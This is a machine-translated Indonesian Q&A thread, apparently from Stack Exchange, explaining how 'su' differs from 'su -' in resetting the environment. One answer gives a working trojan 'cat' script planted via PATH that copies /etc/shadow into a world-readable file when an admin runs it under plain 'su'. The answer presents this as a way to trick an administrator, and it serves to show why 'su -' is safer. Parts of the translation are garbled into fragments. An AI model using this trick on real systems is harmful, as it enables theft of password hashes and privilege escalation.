Jawaban:
su -
mengaktifkan shell login setelah beralih pengguna. Shell login me-reset sebagian besar variabel lingkungan, memberikan basis yang bersih.
su
hanya mengganti pengguna, menyediakan shell normal dengan lingkungan yang hampir sama dengan pengguna lama.
Bayangkan, Anda adalah pengembang perangkat lunak dengan akses pengguna normal ke mesin dan admin Anda yang bodoh tidak akan memberi Anda akses root. Mari (semoga) menipu dia.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Sekarang, Anda bertanya kepada admin Anda mengapa Anda tidak bisa cat
membuat file dummy di folder home Anda, itu tidak akan berfungsi!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Jika admin Anda tidak sepintar itu atau sedikit malas, ia mungkin datang ke meja Anda dan mencoba dengan kekuatan super-user-nya:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Wow! Terima kasih, admin super!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Hehe.
Anda mungkin memperhatikan bahwa $PATH
variabel yang rusak tidak diatur ulang. Ini tidak akan terjadi, jika admin meminta su -
sebaliknya.
umask
000 seperti itu atau itu tidak akan berhasil.
su
file ke dalam PATH. Tidak terlalu sulit untuk meniru perilaku yang sebenarnya su
. Pengguna super telah ceroboh :-)
su --
BUKAN sama dengan su -
: --
memberi tahu penangan opsi getopt (atau yang serupa) untuk berhenti memproses baris perintah untuk opsi lebih lanjut (berguna misalnya jika sisanya berisi nama file yang dapat dimulai dengan '-'). Yaitu, di "rm-i - f": -f kemudian diperlakukan sebagai argumen biasa, jadi di sini sebagai nama file untuk rm -i
, dan tidak sebagai additionnal -f
pilihan untuk rm
perintah. Begitu su --
adil su
dan tidak su -
! Jadi su --
akan sama tidak amannya dengan contoh (lucu dan instruktif) givan oleh wag. Gunakan su -
.
su -
mencatat Anda sepenuhnya sebagai root, sedangkan su
membuatnya Anda berpura-pura menjadi root.
Contoh paling jelas dari hal ini ~
adalah direktori home root jika Anda menggunakan su -
, tetapi direktori home Anda sendiri jika Anda menggunakannya su
.
Bergantung pada sistem Anda, ini juga dapat berarti perbedaan dalam PATH
file prompt ,, atau histori.
Jadi, jika Anda adalah bagian dari tim yang mengelola sistem, dan kolega Anda memberi Anda perintah untuk menjalankan, Anda tahu itu akan bekerja sama jika Anda berdua menggunakan su -
, tetapi jika Anda berdua menggunakan su
, mungkin ada perbedaan karena Anda memiliki konfigurasi shell yang berbeda.
Di sisi lain, jika Anda ingin menjalankan perintah sebagai root tetapi menggunakan konfigurasi Anda sendiri, maka mungkin su
lebih baik untuk Anda.
Juga jangan lupa sudo
, yang memiliki -s
opsi untuk mulai menjalankan shell sebagai root. Tentu saja, ini memiliki aturan yang berbeda juga, dan mereka berubah tergantung pada distribusi yang Anda gunakan.
.bashrc
atau /etc/bashrc
atau /etc/profile.d
sedang disetel PATH
. Cari if [ $UID -eq 0 ]
atau semacamnya.
$USER
misalnya dibiarkan tidak berubah.
sudo su
?
Saya menggunakan su - ketika saya berada di direktori sebagai pengguna biasa tetapi ingin beralih ke root dan tetap di direktori yang sama setelah beralih. Ketika Anda menggunakan su - ini akan memindahkan pengguna ke root dan juga membawa Anda ke / root yang merupakan direktori home root.
/
atau apa pun yang didefinisikan sebagai direktori home root
Perbedaan utama adalah:
su - username
mengatur lingkungan shell seolah-olah itu adalah login bersih sebagai pengguna yang ditentukan, itu mengakses dan menggunakan variabel lingkungan pengguna tertentu,
su username
baru saja memulai shell dengan pengaturan lingkungan saat ini untuk pengguna yang ditentukan.
Jika nama pengguna tidak ditentukan dengan su
dan su -
, akun root tersirat sebagai default.
su --
sama dengansu
.